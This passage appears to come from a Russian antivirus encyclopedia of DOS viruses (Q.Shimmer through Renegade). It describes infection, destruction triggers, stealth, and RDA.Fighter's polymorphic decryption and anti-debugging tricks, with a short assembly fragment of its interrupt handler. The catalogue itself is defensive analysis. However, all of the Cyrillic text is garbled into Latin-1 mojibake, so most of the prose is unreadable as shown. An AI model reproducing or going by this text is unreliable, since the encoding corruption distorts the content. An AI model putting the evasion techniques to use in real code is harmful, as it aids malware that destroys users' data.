ïîíèìàþòñÿ ïðîöåññîðîì, êàê àññåìáëåðíûå êîìàíäû: PUSH AX, DEC BX, POP
AX, OR AX, ??0A, ïîñëå êîòîðûõ óïðàâëåíèå ïîïàäàåò â îñíîâíîé êîä
âèðóñà. Âèðóñ ïðîâåðÿåò óñòàíîâëåíà ëè åãî ðåçèäåíòíàÿ êîïèÿ â ïàìÿòè,
êîïèðóåò ñåáÿ â îáëàñòü HMA è "ïåðåõâàòûâàåò" INT 2Fh. Ïðè ïîëó÷åíèè
óïðàâëåíèÿ ÷åðåç INT 2Fh, âèðóñ "ïåðåõâàòûâàåò" INT 40h äëÿ çàðàæåíèÿ
çàãðóçî÷íûõ ñåêòîðîâ ôëîïïè-äèñêîâ. Q.Shimmer (2) ïûòàåòñÿ ïîñëàòü
â ëþáîé äîñòóïíûé èç 4 ïîñëåäîâàòåëüíûõ ïîðòîâ ïîñëåäîâàòåëüíîñòü
ìîäåìíûõ êîìàíä "~ATM0L0S0=1O1". Q.Shimmer (1) ñîäåðæèò òåêñò "New
Shimmer".
Qawo.719
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Âðîäå áû, ñîäåðæèò çàøèôðîâàííóþ ñòðîêó
"Qawo".
Qmu.1513
Îïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Çàðàæàåò MBR æåñòêîãî äèñêà è COM-
ôàéëû. Ïðè ñòàðòå èíôèöèðîâàííîãî COM-ôàéëà âèðóñ óñòàíàâëèâàåò â
ïàìÿòü ñâîþ ðåçèäåíòíóþ êîïèþ è âûâîäèò ñîîáùåíèå "Bad command or file
name". Ïðè 100-é çàãðóçêå ñ èíôèöèðîâàííîãî æåñòêîãî äèñêà óíè÷òîæàåò
16 åãî ïåðâûõ ñåêòîðîâ. Ïðè êàæäîì 256-ì ÷òåíèè ñ äèñêà (f.2 Int 13h)
ïîäñòàâëÿåò â ñ÷èòàííûé áëîê ïî àäðåñó 0C8h ñëîâî "mj".
Qudem.555
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñòû "Quick Demon 2", "Dr.WEB
ìåíÿ íå íàõîäèò-îáìàíóëè !".
Query
Îïàñíûé çàãðóçî÷íûé âèðóñ.  äåêàáðå óíè÷òîæàåò èíôîðìàöèþ íà æåñòêîì
äèñêå.
Quox
Îïàñíûé çàãðóçî÷íûé âèðóñ. Ïðè çàðàæåíèè MBR ìîæåò çàïèñàòü
îðèãèíàëüíûé MBR â ñåêòîð, ñîäåðæàùèé äàííûå.
Radio101.1000
Íåîïàñíûé øèôðîâàííûé âèðóñ. Ïðèìåðíî, ÷åðåç 53 ìèíóòû ïîñëå ñòàðòà
âèðóñ âûâîäèò òåêñò "Paäèî 101". Ñîäåðæèò òåêñòîâóþ ñòðîêó "Áåç
ïàíèêè-èäåì êî äíó!Ver 2.01".
Radio101.2076
Íåîïàñíûé ïîëèìîðôíûé ðåçèäåíòíûé âèðóñ.Ïðèìåðíî, ÷åðåç 5 ìèíóò ïîñëå
ñòàðòà âèðóñ âûâîäèò òåêñò "Ðàäèî 101-íàñëàæäåíèå äàæå ïðè ïîëîâèíå
ãðîìêîñòè!". Ïðè íàæàòèè íà Ctrl-Del èëè Alt-Del âèðóñ âûâîäèò òåêñò:
ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
BERZIN FANS CLUB PRESENT
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛÛ ÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ
ÛÛ Û Û ÛÛ ÛÛ ÛÛÛ ÛÛ ÛÛ ÛÛÛÛÛ ÛÛ ÛÛ
ÛÛ Û ÛÛ ÛÛ Û ÛÛ ÛÛÛÛÛÛ ÛÛ ÛÛÛÛÛÛÛ
ÛÛ ÛÛ ÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛ ÛÛ ÛÛ
TEL:(095)434-00-00 OR 03
ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
Raiden.1433
Íåîïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Çàðàæàåò MBR æåñòêîãî äèñêà è EXE-
ôàéëû. Ïðè ñòàðòå èíôèöèðîâàííîé ïðîãðàììû ñ íåêîé êîìàíäíîé ñòðîêîé
(âèðóñ ñ÷èòàåò CRC äàííîé ñòðîêè), âèðóñ ìîæåò ïðîèçâåñòè ñàìîëå÷åíèå
äàííîé ïðîãðàììû. Â âèðóñå ñóùåñòâóåò êîä âûâîäà ñîîáùåíèÿ:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º MBR VIRUS V.01 NECROSOFT CORPORATION º
º WRITEN BY RAIDEN COPYRIGHT (C) 1996 º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Rain
Îïàñíûé çàãðóçî÷íûé âèðóñ.  19:15 óíè÷òîæàåò 2 ñåêòîðà íà ãîëîâêå-1,
öèëèíäðå-0 è ñ ñåêòîðà-1, ãäå, êàê ïðàâèëî, íàõîäèòñÿ çàãðóçî÷íûé
ñåêòîð àêòèâíîãî ðàçäåëà, çàïèñûâàÿ òóäà âèðóñíûé êîä. Ñîäåðæèò òåêñò
This is only a demo version made for Germany. New versions coming soon.
Written in the rain..
Rake.975
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïûòàåòñÿ íå çàðàæàòü ôàéëû, ñîäåðæàùèå â
ñâîåì òåëå ñòðîêè "ÈÐÓÑ", "IRUS", "âèðó" èëè "viru". Ìîæåò ïåðåìåùàòü
ñâîþ ðåçèäåíòíóþ êîïèþ ïî ðàçëè÷íûì àäðåñàì ïàìÿòè.
RaseK.1489, RaseK.1490, RaseK.1492
Î÷åíü îïàñíûå ôàéëîâî-çàãðóçî÷íûå âèðóñû. Çàðàæàþò COM, EXE-ôàéëû è MBR
æåñòêîãî äèñêà. Òàêæå âíåäðÿþò äåñòðóêòèâíûé êîä â Boot-ñåêòîðà äèñêåò,
íå ñîõðàíÿÿ îðèãèíàëüíûé ñåêòîð. Ïðè çàãðóçêå ñ òàêîãî ôëîïïè-äèñêà âñÿ
èíôîðìàöèÿ íà ïåðâîì æåñòêîì äèñêå áóäåò óíè÷òîæåíà. Âèðóñû òàêæå ìîãóò
óíè÷òîæèòü èíôîðìàöèþ íà "âèí÷åñòåðå" ïðè çàãðóçêå ñ æåñòêîãî äèñêà.
Âèðóñû ïåðåõâàòûâàþò INT 13h è INT 21h. Èñïîëüçóþò ñòåëñ-ìåõàíèçì ïðè
ïîïûòêå ÷òåíèÿ MBR, ñêðûâàþò ïðèðàùåíèå äëèíû çàðàæåííûõ ôàéëîâ. Íå
çàðàæàþò ôàéëû, ñîäåðæàùèå ñòðîêó AND.COM (COMMAND.COM). Â òåëå âèðóñîâ
ïðèñóòñòâóþò ñòðîêè:
RaseK.1489 - "RaseK v2.1,from LA CORUåA(SPAIN).Mar93";
RaseK.1490 - "RaseK v2.0,from LA CORUåA(SPAIN).Mar93";
RaseK.1492 - "RàseKî v3.1,from La Coruäa(SPAIN).Ap93".
Raving.2300
Îïàñíûé íåðåçèäåíòíûé âèðóñ, ñîçäàþùèé íîâûå COM-ôàéëû âìåñòî
íàéäåííûõ. Âûâîäèò ïðèãëàøåíèå "C:\>", ïîñëå ÷åãî æäåò íàæàòèé íà
êëàâèøè è âûâîäèò ñëó÷àéíûå ñèìâîëû âìåñòî ââåäåííûõ. Ïîñëå ýòîãî
âûâîäèò òåêñò:
I DON'T THINK YOU WOULD LIKE TO SMILE, BECAUSE I HAVE INFECTED A FILE!!!
HAVE YOU HEARD OF A RAVING VIRUS MC, YES YOU GUESSED IT THAT IS ME!!!
YOU WONT SEE ANOTHER RHYME UNTIL IT IS INFECTING TIME!!!
RDA.Fighter.5871, 5969, 7408, 7802, 7868
RDA.Fighter.5871, 5969, 7802, 7868 -ýòî ðåçèäåíòíûå ñëîæíîïîëèìîðôíûå
âèðóñû, çàðàæàþùèå ôàéëû â ôîðìàòå COM è EXE. RDA.Fighter.7408 -
ôàéëîâî-çàãðóçî÷íûé ïîëèìîðôíûé âèðóñ (çàðàæàåò COM, EXE-ôàéëû è MBR
æåñòêîãî äèñêà), ñêðûâàþùèé ïðèðàùåíèå ñâîé äëèíû â èíôèöèðîâàííûõ
ôàéëàõ. RDA.Fighter.7802 ïîìèìî ïîëèìîðôíûõ ðàñøèôðîâùèêîâ èìååò òàêæå
ïîëèìîðôíûé ìåõàíèçì ñëó÷àéíîé ðàñøèôðîâêè ñîáñòâåííîãî êîäà. Ïðè
íåàêêóðàòíîé òðàññèðîâêå RDA.Fighter.5969, 7408 ìîãóò óíè÷òîæèòü
ñëó÷àéíûå ñåêòîðà íà æåñòêîì äèñêå. Ïîëó÷èâ óïðàâëåíèå, îñíîâíîé
ðàñøèôðîâàííûé êîä âèðóñîâ ïîëó÷àåò èç ÷àñîâ ðåàëüíîãî âðåìåíè
ñëó÷àéíîå 32 ðàçðÿäíîå çíà÷åíèå, èñïîëüçóåìîå âèðóñàìè äëÿ ðàñøèôðîâêè
åùå îäíîãî ñâîåãî ó÷àñòêà êîäà. Ïîñëå âñåâîçìîæíûõ óìíîæåíèé, äåëåíèé,
ñëîæåíèé, âû÷èòàíèé èç 32õðàçðÿäíîãî ñëó÷àéíîãî ÷èñëà ïîëó÷àåòñÿ
áàçîâîå 16 ðàçðÿäíîå ñëó÷àéíîå ÷èñëî â ðåãèñòðå AX. Ýòî ÷èñëî
óìíîæàåòñÿ íà 2 â ðåãèñòðå DI. Ýòîò ðåãèñòð DI áóäåò óêàçûâàòü òî÷êó
âõîäà â òàáëèöû êîìáèíàöèé âèðóñíûõ ðàñøèôðîâûâàþùèõ êîìàíä. Ñóùåñòâóåò
2 òàáëèöû ïî 16 êîìáèíàöèé ðàñøèôðîâûâàþùèõ êîìàíä, íåêîòîðûå èç
êîòîðûõ ïîâòîðÿþòñÿ. Ýòè òàáëèöû ïðåäñòàâëåíû íèæå. Íàçîâåì ýòè
òàáëèöû: "ïåðâàÿ" è "çåðêàëüíàÿ".
Ïåðâàÿ òàáëèöà Çåðêàëüíàÿ òàáëèöà
XOR [BX], DX NOT [BX] ;â äàííûõ òàáëèöàõ ðåãèñòð
ROR [BX], CL NEG [BX] ;BX óêàçûâàåò íà êîä, äëÿ
............ .......... ;êîòîðîãî ïðîèçâîäèòñÿ
NEG [BX] ROR [BX], DX ;ðàñøèôðîâêà
NOT [BX] XOR [BX], DX
Äàëåå, íà îñíîâå óñòàíîâëåííûõ áèò 16 ðàçðÿäíîãî ÷èñëà â ðåãèñòðå AX,
âûáèðàåòñÿ ðàñøèôðîâûâàþùàÿ êîìàíäà èç ïåðâîé òàáëèöû, â çàâèñèìîñòè îò
ðåãèñòðà DI. Íàïðèìåð, åñëè íóëåâîé áèò óñòàíîâëåí â 1, òî áåðåòñÿ
êîìàíäà èç òàáëèöû (êîìàíäó â òàáëèöå âûáèðàåò ðåãèñòð DI), êîòîðàÿ
êîïèðóåòñÿ â òåëî ðàñøèôðîâùèêà ñ ïîìîùüþ àíòèîòëàäî÷íûõ êîìàíä
ìàíèïóëÿöèè ñòåêîì. Â òåëî ðàñøèôðîâùèêà òàêæå çàíîñèòñÿ íåêîòîðàÿ
ïåðâîíà÷àëüíàÿ êîíñòàíòà, ñ ïîìîùüþ êîòîðîé ìîãóò ïðîèçâîäèòüñÿ
îïåðàöèè ðàñøèôðîâàíèÿ, è êîòîðàÿ â öèêëå ðàñøèôðîâêè áóäåò äèíàìè÷åñêè
èçìåíÿòüñÿ ïî îïðåäåëåííîìó çàêîíó. Äàííûé çàêîí íàïðàâëåí ïðîòèâ
îòëàä÷èêîâ. Ïî îêîí÷àíèè öèêëà äàííîé ðàñøèôðîâêè çíà÷åíèå ðåãèñòðà DI
óñòàíàâëèâàåòñÿ íà ñëåäóþùóþ êîìàíäó â ïåðâîé òàáëèöå. Ïîòîì äàííàÿ
îïåðàöèÿ ïðîèçâîäèòñÿ äëÿ âñåõ óñòàíîâëåííûõ áèòîâ â 16 ðàçðÿäíîì
çíà÷åíèè AX. Åñëè êàêîé-ëèáî áèò íå óñòàíîâëåí, òî öèêë íå ïðîâîäèòñÿ,
à çíà÷åíèå DI ïåðåäâèãàåòñÿ íà ñëåäóþùóþ êîìàíäó. Åñëè óêàçàòåëü DI
âûõîäèò çà ðàìêè ïîñëåäíåé 16 êîìàíäû â òàáëèöå, òî åãî çíà÷åíèå
óñòàíàâëèâàåòñÿ íà ïåðâóþ êîìàíäó òàáëèöû. Êàê òîëüêî âñå áèòû â AX
èñ÷åðïàíû, âèðóñû ïðèñòóïàþò ê ïðîâåðêå òîãî, ÷òî îíè âñåìè ýòèìè
õèòðîóìíûìè êîìáèíàöèÿìè ðàñøèôðîâàëè. Äåëàþò îíè ýòî òàêæå õèòðîóìíûì
ñïîñîáîì. Îíè ïîäñ÷èòûâàþò êîíòðîëüíóþ ñóììó ðàñøèôðîâàííîãî ó÷àñòêà
êîäà â çàâèñèìîñòè îò ó÷àñòêà êîäà, êîòîðûé íå áûë çàøèôðîâàí. Ïîäñ÷åò
CRC ïðîèçâîäèòñÿ "âååðîì", îò ãðàíèöû ðàñøèôðîâêè è ââåðõ, è âíèç
ïîäñ÷èòûâàåòñÿ 48 ðàçðÿäíîå çíà÷åíèå. Ïðè ïîäñ÷åòå CRC èñïîëüçóþòñÿ
âñåâîçìîæíûå êîìàíäû ïåðåñûëêè, ADD, XOR,... Ïðè÷åì, âèðóñû
RDA.Fighter.5969, 7408 èñïîëüçóåò åùå è äîïîëíèòåëüíóþ äèíàìè÷åñêóþ
êîððåêòèðîâêó CRC ñ ïîìîùüþ INT 01. À âèðóñ RDA.Fighter.7408
äîïîëíèòåëüíî èìååò 4 ðàçëè÷íûõ âàðèàíòà ïîäñ÷åòà CRC, ìåíÿþùèõñÿ îò
êîïèè ê êîïèè. Ïîëó÷åííîå çíà÷åíèå CRC õðàíèòñÿ â ðåãèñòðàõ AX, BP è
DX. Ðåãèñòð BP ñêëàäûâàåòñÿ ñ ÷èñëîì, õðàíÿùèìñÿ â òåëå âèðóñà,
êîððåêòèðóåòñÿ îòíîñèòåëüíî íàõîæäåíèÿ áàçîâîé òî÷êè âèðóñà â ïàìÿòè è
çíà÷åíèå ïî ñìåùåíèþ BP ñðàâíèâàåòñÿ ñ ïîëó÷åííûì çíà÷åíèåì DX. Ïðè÷åì,
â ñëó÷àå ïðàâèëüíîé ðàñøèôðîâêè ñìåùåíèå õðàíåíèÿ CRC äîëæíî íàõîäèòüñÿ
â ðàíåå çàøèôðîâàííîé îáëàñòè âèðóñà. Åñëè ïîëó÷åííîå çíà÷åíèå CRC íå
ñîâïàäàåò ñî çíà÷åíèåì DX, òî âèðóñû ïîâòîðÿþò îïèñàííóþ âûøå
êîìáèíàöèþ, òîëüêî â êà÷åñòâå òàáëèöû ðàñøèôðîâûâàþùèõ êîìàíä òåïåðü
áóäåò èñïîëüçîâàòüñÿ çåðêàëüíàÿ òàáëèöà. À äåëàåòñÿ ýòî äëÿ òîãî, ÷òîáû
âîçâðàòèòü â èñõîäíîå ñîñòîÿíèå ðàíåå ðàñøèôðîâàííóþ ïî "íåïðàâèëüíîìó"
çàêîíó îáëàñòü âèðóñíîãî êîäà. Ïîñëå òîãî, êàê âèðóñ âîçâðàòèò âñå â
èñõîäíîå ñîñòîÿíèå, ïîïûòêà "ïðàâèëüíîé" ðàñøèôðîâêè ïîâòîðÿåòñÿ
ñíà÷àëà, íà÷èíàÿ ñ ïîëó÷åíèÿ ñëó÷àéíîãî ÷èñëà â ðåãèñòðå AX, è
èñïîëüçîâàíèÿ â êà÷åñòâå áàçîâîé - ïåðâîé òàáëèöû ðàñøèôðîâûâàþùèõ
êîìàíä. Âèðóñû áóäóò "ïðîêðó÷èâàòü" âåñü öèêë ñ 16 ðàçðÿäàìè ðåãèñòðà
AX, ïîòîì òîò æå âàðèàíò ïîâòîðÿòü ñ çåðêàëüíîé òàáëèöåé è ò.ä., äî òåõ
ïîð, ïîêà, íàêîíåö, îíè íå óäîñòîâåðÿòñÿ, ÷òî âñå ðàñøèôðîâàëîñü
ïðàâèëüíî. Íî, òàê êàê, âèðóñû ïîñòîÿííî "ñëåäÿò" çà îòëàä÷èêîì,
ñëåäóåò ïîìíèòü, ÷òî â ðàçðûâàõ ìåæäó ïîïûòêàìè ðàñøèôðîâêè âèðóñíîãî
êîäà ìîæíî óãîäèòü â "îïàñíûé" êîä, óíè÷òîæàþùèé èíôîðìàöèþ â ñåêòîðàõ
æåñòêîãî äèñêà, îïèñàííûé âûøå. RDA.Fighter.7802, 7868 "ðàçáàâëÿþò"
èíñòðóêöèè êîäà ñëó÷àéíîé ðàñøèôðîâêè êîìàíäàìè-"ìóñîðîì" (òàêèå
êîìàíäû, êîòîðûå íå âëèÿþò íà ðåçóëüòàò ðàñøèôðîâêè). À òàêæå "ïåðâàÿ",
è ñîîòâåòñòâóþùàÿ åé "çåðêàëüíàÿ" òàáëèöà, áóäóò îòëè÷àòüñÿ äëÿ êàæäîãî
ýêçåìïëÿðà âèðóñîâ RDA.Fighter.7802, 7868.
Âèðóñû èíîãäà âûâîäÿò íà ýêðàí òåêñòû:
RDA.Fighter.7408:
"Stealth Fighter 2.0 : New Aggression."
RDA.Fighter.7802:
"Stealth Fighter DEMO Part (3.1) : Enemy Unknown"
RDA.Fighter.7868:
"Stealth Fighter,DEMO Part (3.2) : Next mutation 06/09/95"
RDA.Fighter.7408 çàðàæàåò åùå è Master Boot Record (ãëàâíûé çàãðóçî÷íûé
ñåêòîð) æåñòêîãî äèñêà.
Ðåçèäåíòíûå ÷àñòè âèðóñîâ êîíòðîëèðóþò ôóíêöèè çàïóñêà ïðîãðàìì (
AX=4B00h) è îòêðûòèÿ ôàéëîâ (AH=3Dh). RDA.Fighter.5969 òàêæå
êîíòðîëèðóåò ôóíêöèþ ïåðåèìåíîâàíèÿ ôàéëîâ (AH=56h). Ïðè âûçîâå äàííûõ
ôóíêöèé âèðóñû ïûòàþòñÿ çàðàçèòü ôàéëû, äëèíà êîòîðûõ íå ìåíüøå, ÷åì
4096 áàéò. RDA.Fighter.7408, 7802, 7868 äîïîëíèòåëüíî êîíòðîëèðóþò
ôóíêöèè ïîèñêà ôàéëîâ (AH=11h,12h,4Eh,4Fh) è ñêðûâàþò ïðèðàùåíèå ñâîåé
äëèíû ó èíôèöèðîâàííûõ ôàéëîâ. Â êîíöå êàæäîãî çàðàæåííîãî ôàéëà
RDA.Fighter.7408, 7802, 7868 õðàíÿò 2 áàéòà ðàçìåðà âèðóñíîãî êîäà,
âíåäðåííîãî â äàííûé ôàéë. RDA.Fighter.7408, 7802, 7868 "ïåðåõâàòûâàþò"
òàêæå INT 08 è íåñêîëüêî çàìåäëÿþò ðàáîòó êîìïüþòåðà. Ðåçèäåíòíàÿ
àêòèâíàÿ êîïèÿ âèðóñà RDA.Fighter.7408 ïðè âûçîâå ôóíêöèè AX=0EEEEh
óäàëÿåò ñâîé êîä èç MBR æåñòêîãî äèñêà. RDA.Fighter.7408, 7802, 7868
ïðè âûçîâå äàííîé ôóíêöèè òàêæå è îáåçâðåæèâàåò ñåáÿ â ïàìÿòè.
Ðåçèäåíòíûå êîïèè âèðóñîâ èñïîëüçóþò î÷åíü ìîùíûé ïîìåõîçàùèùåííûé
àëãîðèòì âîññòàíîâëåíèÿ ñîáñòâåííîãî êîäà, ïîçâîëÿþùèé íå äîïóñòèòü
îòëàäêó êîäîâ âèðóñîâ ñ èñïîëüçîâàíèåì îòëàäî÷íûõ òî÷åê îñòàíîâà.
Ìàëî òîãî, âèðóñû "ðàäè øóòêè" ïûòàþòñÿ ââåñòè â çàáëóæäåíèå, âíåäðÿÿ
ñðàçó â ñâîè îáðàáîò÷èêè INT 21h èíñòðóêöèþ âûõîäà èç ïðåðûâàíèÿ- IRET!
Íî îðèãèíàëüíûå áàéòû îáðàáîò÷èêà âèðóñû ñàìè æå è èñïðàâëÿþò ñ ïîìîùüþ
ïîìåõîçàùèùåííîãî àëãîðèòìà âîññòàíîâëåíèÿ. Íà÷àëüíûé êîä âèðóñíûõ
îáðàáîò÷èêîâ INT 21h âûãëÿäèò ñëåäóþùèì îáðàçîì (íèæå ïðåäñòàâëåí
îáðàáîò÷èê INT 21h âèðóñà RDA.Fighter.5969):
PUSH AX
INC AH
CMP AX,4C00 ;çàïóñê ïðîãðàììû?
JE CHECK_FILES
CMP AH, 3E ;îòêðûòèå ôàéëà?
JE CHECK_FILES
CMP AH, 57 ;ïåðåèìåíîâàíèå ôàéëà?
JE CHECK_FILES
DESTROY_HANDLER:
POP AX
JMP DWORD PTR CS:[ADR_INT21] ;âûõîä â îðèãèíàëüíûé INT 21h
CHECK_FILES:
CALL CHECK&RESTORE ;ïðîâåðêà è âîññòàíîâëåíèå
MOV CS:DESTROY_HANDLER, 90CF ;âìåñòî POP AX óñòàíîâèòü IRET?!
MOV CS:DESTROY_HANDLER+2, AX ;è ðåãèñòð AX (4C00 èëè 3E??)
CALL CHECK&RESTORE ;ïðîâåðêà è âîññòàíîâëåíèå
CALL CHECK_FILE_NAME ;à çäåñü óæå íèêàêîé êîìàíäû IRET
;íå áóäåò!
....................
Âèðóñû íå çàðàæàþò ñëåäóþùèå ôàéëû *ES?.* (AIDSTEST.EXE), *WE?.*
(WEB.EXE), *AN?.* (COMMAND.COM). RDA.Fighter.7408 ïðè ñòàðòå ïðîãðàììû
CHKDSK "âûêëþ÷àåò" ñâîé ìåõàíèçì ñêðûòèÿ èñòèííîé äëèíû çàðàæåííûõ
ôàéëîâ. Ïîñëå çàâåðøåíèÿ åå ðàáîòû - ñíîâà "âêëþ÷àåò".  ïðîöåññå
èíôèöèðîâàíèÿ âèðóñû óñòàíàâëèâàþò ñâîé îáðàáîò÷èê êðèòè÷åñêèõ îøèáîê
INT 24h, äèñêîâûé îáðàáîò÷èê INT 13h, åñëè â ñèñòåìå íåò äèñêîâîãî êýøà
è óñòàíàâëèâàþò îáðàáîò÷èêè INT 01 (ïîøàãîâîå âûïîëíåíèå êîìàíä), INT
03 (òî÷êà îñòàíîâà) è INT 2Ah (Microsoft network) íà ñâîè îáðàáîò÷èêè,
ñîäåðæàùèå åäèíñòâåííóþ èíñòðóêöèþ - IRET. Ïðè çàðàæåíèè ôàéëà, âèðóñû
ñëó÷àéíûì îáðàçîì âûáèðàþò (òàêèì æå, êàê è ïðè îïðåäåëåíèè ðåãèñòðà AX
ïðè ïîïûòêàõ ðàñøèôðîâêè ñâîåãî êîäà) ñìåùåíèå è ðàçìåð îáëàñòè,
êîòîðàÿ áóäåò çàøèôðîâàíà â èíôèöèðóåìîì ôàéëå. Äàííàÿ øèôðîâêà
ïðåäíàçíà÷åíà, âèäèìî, äëÿ íåâîçìîæíîñòè âîññòàíîâëåíèÿ ôàéëîâ
ñïåöèàëüíûìè àíòèâèðóñíûìè óòèëèòàìè (ADinfExt, TbClean,..).
Âèðóñû ñîäåðæàò ñëåäóþùèå òåêñòû:
RDA.Fighter.5871 -
RandomDecodingAlgoritm 1.0
"Stealth Fighter PART I" devoted MSU!
RDA.Fighter.5969 -
RandomDecodingAlgoritm 1.1
"Stealth Fighter PART I (1.1) for ALL."
RDA.Fighter.7408 -
"RandomDecodingAlgoritm 2.0"
"PhantomPolymorphicMultiLayerEngine 1.2"
RDA.Fighter.7802 -
"RandomDecodingAlgoritmEngine 1.0"
"PhantomPolymorphicMultiLayerEngine 1.2"
RDA.Fighter.7868 -
"RandomDecodingAlgorithmEngine 1.1"
"PhantomPolymorphicMultiLayerEngine 1.2"
RedArc - âèðóñû
Âèðóñû, èçãîòîâëåííûå òóëüñêèì "óìåëüöåì" Èãîðåì Äèêøåâûì 2:5022/12.23,
èçâåñòíûì áîëåå ïîä êëè÷êîé Red Arc.
RedArc.Fraud
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Çàðàæàåò EXE-ôàéëû, âíåäðÿÿ ñâîé êîä â
íà÷àëî ôàéëîâ (ïåðåâîäÿ èõ â COM-ôîðìàò), à çàøèôðîâàííûå îðèãèíàëüíûå
íà÷àëüíûå áàéòû ïåðåíîñèò â êîíåö ôàéëîâ. Ïðè ñòàðòå òàêîãî ôàéëà,
âèðóñ ïðîèçâîäèò ïîèñê è çàðàæåíèå EXE-ôàéëîâ. Ïîñëå ÷åãî, åñëè áûëî
ïðîèçâåäåíî õîòü îäíî çàðàæåíèå, âèðóñ âîññòàíàâëèâàåò ôàéë-æåðòâó â
èñõîäíîå ñîñòîÿíèå ("ñàìîèçëå÷èâàåòñÿ") è âûâîäèò òåêñò "Bad command or
file name".
RedArc.Helga.666
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ðàçðóøàåò ôàéëû *.°*, *.ms. Èíîãäà âûâîäèò
òåêñò:
ÒÛ ÕÎÒÅË ÓÂÈÄÅÒÜ ÍÅÁÎ? ÃÎËÓÁÎÅ-ÃÎËÓÁÎÅ?
ÒÛ ÕÎÒÅË ÓÂÈÄÅÒÜ ÍÅÁÎ?
ÍÅÂÈÄÀÒÜ ÅÃÎ ÑÎ ÌÍÎÉ!
è "çàâåøèâàåò" ñèñòåìó. Ñîäåðæèò ñòðîêó "Helga".
RedArc.Stinger
Íåîïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Èíîãäà âûâîäèò íà ýêðàí
ñòðîêó "STINGER".
RedArc.Vesna.1000 (1,2), 1614, 1724, 1751, 1833
Îïàñíûå íåðåçèäåíòíûå âèðóñû. Óäàëÿþò ôàéëû ch*.* è *.°°°. Vesna.1000
(1) â ïÿòíèöó 13ãî ÷èñëà âûâîäèò òåêñò:
Friday 13th ?
Friday 13th ...
Friday 13th !
Good bye !
Vesna.1000 (2) 22 èþíÿ âûâîäèò ñòðîêó "*KILLER*" è ðàçðóøàåò EXE-ôàéëû,
ïðèïèñûâàÿ èì â êîíåö 3 áàéòà, ïðîèçâîäÿùèõ ïåðåçàãðóçêó ñèñòåìû (CD
19). Vesna.1724 â ìàðòå âûâîäèò òåêñò:
Bad command or file name
DOS not support!
You have virus!
Press any key to reboot...
Vesna.1833 â ïÿòíèöó 13ãî âûâîäèò ñëåäóþùèå òåêñòû:
Friday 13th !
You have virus !
My name is GARRY ...
I fuck your PC !
Vesna.1614,1751 ïðè ñîâïàäåíèè äíÿ íåäåëè è äíÿ ìåñÿöà â íå÷åòíûå ÷àñû,
ñîâïàäàþùèå ñî çíà÷åíèåì ìèíóò, âûâîäèò îäíî èç ñëåäóþùèõ ñîîáùåíèé:
Âåñíà ïðèøëà!
Unpress key TURBO to continue...
Format drive c: completed
PRESS RESET TO CONTINUE
Ïîðà ïèòü êîôå!
Çäåñü áûë Èãîðü Ä.
I LOVE
LORA
VESNA (c) 1994,96 by Red Arc -=* Uni Tula *=-
èëè
Ñëûøü, òû... ÷óâàê...
ïåðåäàé ïðèâåò Âåäåíååâîé Ëîðèñå!
VESNA (c) 1994,96 -=* Uni Tula *=-
È ïîä ìèãàíèå ëàìïî÷åê êëàâèàòóðû è äèñêîâîäîâ ñèñòåìà "çàâèñàåò".
Vesna.1751 íå çàðàæàåò ôàéëû èç ñïèñêà (ïî 2 áóêâû íà èìÿ ôàéëà):
aicodrwetbmsmvavscadutanatsdncvcdnwiioibvi. Ðàçëè÷íûå âåðñèè âèðóñà
ñîäåðæàò ñëåäóþùèå òåêñòû "My name is GARRY", "*TULA*", "Ýòî çäåëàíî â
ÒóëE", "TULA", "Ïðèøëà âåñíà !", "Çäåñü áûë Èãîðü Ä.", "ÎËÅ×ÊÀ", "TYPE
HAPPY BIRTHDAY GARRY".
RedLaugh.607
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè ñòàðòå ëþáîé ïðîãðàììû, âèðóñ
îêðàøèâàåò ýêðàí â êðàñíûé öâåò è âûâîäèò òåêñò:
Êðàñíûé ñìåõ ãóëÿåò ïî ñòðàíå...
01/21/96 by FDD.
ReedCat.916
Ñîäåðæèò ñòðîêó << Êàìûøîâûé Êîò ÕÏÈ 1992 >>.
Remute.779
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñòû "A long time ago,in very
remute institut ...", "LIGHT in the DARK".
Renegade.1176
Îïàñíûé ðåçèäåíòíûé âèðóñ. Çàðàæàåò EXE-ôàéëû ïðè èõ çàïóñêå èëè ïðè èõ
îòêðûòèè. Çàðàæàåò äîâîëüíî íåîáû÷íûì ñïîñîáîì: ñ÷èòûâàåò 1024
ïîñëåäíèõ áàéò ôàéëà, çàïèñûâàåò íà èõ ìåñòî 1176 áàéò ñâîåãî êîäà, à
çàòåì - ñ÷èòàííûå 1024 áàéòà. Ïðè ýòèõ ìàíèïóëÿöèÿõ âèðóñ íå
êîððåêòèðóåò òàáëèöó ïåðåìåùàåìûõ ñèìâîëîâ (relocation table), â
ðåçóëüòàòå ÷åãî èíôèöèðîâàííàÿ ïðîãðàììà ìîæåò áûòü íåðàáîòîñïîñîáíîé.
11 ÷èñëà êàæäîãî ìåñÿöà âûâîäèò òåêñò:
(C) Renegade 1994. Hello Hacker`s !!!
Renegade.4509
